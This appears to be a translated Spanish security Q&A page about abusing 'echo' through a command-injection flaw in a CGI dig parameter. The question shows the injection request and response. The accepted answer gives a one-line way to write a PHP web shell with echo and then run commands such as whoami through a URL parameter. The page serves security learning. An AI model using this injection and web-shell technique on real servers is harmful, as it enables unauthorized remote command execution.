¿Es posible usar el comando "echo" de Linux de manera maliciosa?

Question

¿Es posible usar el comando "echo" de Linux de manera maliciosa?

#1 de Mukarram Khalid (5 votos)

2

Mientras probaba una aplicación web hoy, encontré una función que pasaba los argumentos a dig en el terminal de Linux. Después de algunos problemas con el tema, pude pasar el comando echo usando tuberías y hacer eco de mi entrada a la respuesta, pero no pude iniciar ningún otro comando.

Ahora mi pregunta es ¿es posible usar el comando echo de una manera maliciosa para acceder a archivos confidenciales en el sistema u obtener un shell?

Aquí está la solicitud GET vulnerable:

GET /cgi-mod/test.cgi?dig_device=8.8.8.8"|echo%20abc123%20|| HTTP/1.1
Host: test.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Y aquí está la respuesta:

HTTP/1.1 200 OK
Server: TestServer
Date: Mon, 02 May 2016 11:03:40 GMT
Content-Type: text/html
Connection: close
Status: 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 1576

<html><head><meta charset="utf-8" /><title></title></head><body><pre><!--                                                          
; &lt;&lt;&gt;&gt; DiG 9.4.1-P1 &lt;&lt;&gt;&gt; abc123
;; global options:  printcmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 32623
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;abc123.                IN  A

;; ANSWER SECTION:
abc123.         10  IN  A   104.239.213.7
abc123.         10  IN  A   198.105.254.11

;; Query time: 69 msec
;; SERVER: 4.2.2.1#53(4.2.2.1)
;; WHEN: Mon May  2 04:03:41 2016
;; MSG SIZE  rcvd: 56

linux terminal shellcode

pregunta Mico 02.05.2016 - 12:52

fuente

1 respuesta

Lea otras preguntas en las etiquetas linux terminal shellcode

¿Existe un riesgo de seguridad al usar punteros en lugar de las instancias de estructura? ¿Es una buena práctica prohibir el acceso IP al puerto 80?

score 5 · Accepted Answer

Sí. Puedes usar echo maliciosamente. Puede usar el operador > para redirigir la salida a un archivo donde la salida puede ser un código malicioso.

echo 'Malicious_code_here' > shell.php

Consideremos un caso donde el servidor web admite PHP y el directorio www es de escritura. puedes probar algo como:

echo '<?php system($_GET["cmd"]);?>' > shell.php

Y puedes acceder al shell por:

http://url_of_the_website/shell.php?cmd=whoami

Usando esto, puede ejecutar comandos arbitrarios en el servidor web.